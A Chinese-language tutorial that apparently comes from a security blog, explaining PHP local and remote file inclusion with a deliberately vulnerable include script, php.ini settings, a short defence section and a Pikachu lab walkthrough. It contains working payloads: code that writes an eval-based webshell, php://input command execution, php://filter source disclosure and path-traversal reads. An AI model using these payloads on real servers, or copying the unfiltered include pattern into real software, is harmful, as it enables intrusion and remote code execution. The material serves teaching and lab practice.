目录
一. 漏洞描述
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。
当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行
一个例子看懂文件包含
web目录下建立两个文件,一个文件为info.php,另一个文件为include.php。
info.php的内容为:
<?php
echo "i am a boy"
?>
include.php的内容为
<?php
echo "this is file include";
echo "<hr />";
include "./info.php"
?>
然后我们访问include.php,此时include.php中会去包含info.php这个文件,访问如下:
info.php中的文件内容被包含进去了,这就是典型的文件包含。
二. 文件包含的四个函数
- include() 文件包含失败时(比如没有这个文件),会产生警告,但是脚本会继续运行下面可以执行的语句。
- include_once() 与include() 功能相同,文件只会被包含一次。
- require() 文件包含失败时,会产生错误,直接结束脚本执行,下面的脚本不再运行了。
- require_once() 与require() 功能相同,文件只会被包含一次。
三. 漏洞原因
大多数情况下,文件包含函数中包含的代码文件是固定的,如上面中的include "./info.php"直接是写死了,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击者会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。总结文件包含漏洞的原因如下:
- 代码实现了动态包含
- 包含文件路径客户端可控,造成任意文件包含
四. 文件包含分类
文件包含是PHP 的基本功能之一,分为如下两类
- 本地文件包含( Local File Include,LFI):读取和打开本地文件
- 远程文件包含之分(Remote File Include,RFI):通过HTTP、HTTPS、PHP伪协议等远程加载文件
两种文件包含的方式涉及php.ini中如下两个参数:
- allow_url_fopen = On/Off,默认是On,是否允许将url(如http://或ftp://))作为文件处理。
- allow_url_include = On/Off,默认是Off , 是否允许include/require以文件形式打开url(如http://或ftp://))。 当为off的时候不能包含远程文件,也不能执行系统命令。只能包含本地文件
如下找到phpstudy当前使用的php版本的配置文件php.ini
找到这两个设置,并都设置为On,代表运行本地和远程文件包含,然后重启phpstudy
五. 文件包含利用
上面说了文件包含漏洞的成因是因为代码实现了动态包含且包含的路径可控,于是我们将代码进行修改为动态传参的一种方式,建立文件index.php,文件内容如下。代码的意思就是手动传参给变量path,然后赋值给变量a,如果变量a有值则进行包含,否则就输出空。可见其中传参的时候,没有对传入的值进行任何的过滤。
<?php
$a = $_GET['path'];
if(!empty($a)){
include $a;
}else{
echo "path is null";
}
?>
1. 任意文件读取
我们这里读取本地hosts的文件。这也是本地文件包含的一种方式。
?path=file://c:\windows\System32\drivers\etc\hosts
至于远程文件包含。我们就可以包含一个远程服务器的文件如
/fileInclude/?path=http://www.cac.gov.cn/2021-01/22/c_1612887880656609.htm,进行加载远程文件读取
2. 包含图片马直接获得shell
文件包含有一种特点就是能无视文件名读取文件,这也为图片木马提供了一种利用方式。一般来说上传的图片木马是不能直接利用的,只能配合其他的漏洞进行利用。而文件包含漏洞则为图片木马提供了一种利用方式。如我们上传了一种图片木马到web目录下,我们将这个图片木马进行包含,图片以二进制的方式进行打开。
此时我们就可以用webshell利用工具如蚁剑,进行连接,直接获得服务器权限
3. 包含图片马生成shell
这也是包含图片木马直接获得shell的另外一种利用方式,也是访问图片木马,只不过这里访问之后会在当前目录下生成一个php的木马文件,然后再进行连接利用。
1. 将代码写进图片,代码内容如下
<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>
该段代码的含义是,在当前目录下创建一个名为[shell.php] 的文件,内容为[<?php phpinfo();?>],当我们直接包含图片的时候,这段代码就会被执行。
2. 上传写好的图片马,进行访问
3. 生成shell.php文件,访问shell文件
4. 包含txt文件写shell
利用文件包含无条件读取文件及无条件解析PHP代码的特点,我们在服务器上新建一个yijuhua.txt文件,文件内容如下
<?php
$myfile = fopen("yijuhua.php","w");
$txt = '<?php @eval($_REQUEST["cmd"]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>
代码的含义为:打开当前路径下的yijuhua.php文件(没有则新建),写入一句话木马
1. 访问该文件
2. 当前目录下生成木马文件yijuhua.php,蚁剑连接
5. PHP封装协议的利用
1. PHP协议类型
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
2. file 协议访问本地文件
提交参数 ?path=file://c:\windows\System32\drivers\etc\hosts
3. php:// 执行PHP系统命令
php.ini需开启”allow_url_include = On“,否则执行不了系统命令。
访问 ?path=php://input ,抓取请求包,将请求方式改为POST,并在请求体中传入执行系统命令的语句 <?php echo `ipconfig`?>
如下,直接执行了系统命令
写入webshell
这里可以执行命令的话,就可以写入wenshell,还是和上面的方式一样
<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>
这样就在当前目录fileinclude中写入了shell.php文件,直接连接就行
4. 传输PHP文件
用户在访问某个文件的时候是看不到文件的源代码的,而通过这个漏洞我们可以将文件的源代码进行查看
如,读取E:\phpStudy\php\php-5.4.45\1.php文件源码
?path=php://filter/read=convert.base64-encode/resource=E:\phpStudy\php\php-5.4.45\1.php
复制代码,进行base64解码,网站文件的源码就被查看到了。
六. 文件包含功能特点
结合以上文件包含漏洞的利用方式,总结下文件包含的特点
- 无视文件扩展名读取文件(如直接以二进制方式打开图片)
- 无条件解析PHP代码(如直接执行图片木马中的php代码,直接读取txt中的php文件并执行)
七. 漏洞防御
- 不采用动态包含的方式,直接将需要包含的文件固定如"include './info.php' "
- 禁止目录跳转字符如 "../"
- 包含文件验证:验证被包含的文件是否是白名单中的一员
八. pikachu靶场
1. 本地文件包含
1.1 读取系统文件
../../../../../../../../../../Windows/System32/drivers/etc/hosts
用bp提交的时候,读取的文件要进行url编码
2. 远程文件包含
2.1 读取本地文件
2.2 远程命令执行
还可以读取系统的文件源码和写入webshell,利用方式就是上面介绍的利用方式
——心,若没有栖息的地方,到哪都是流浪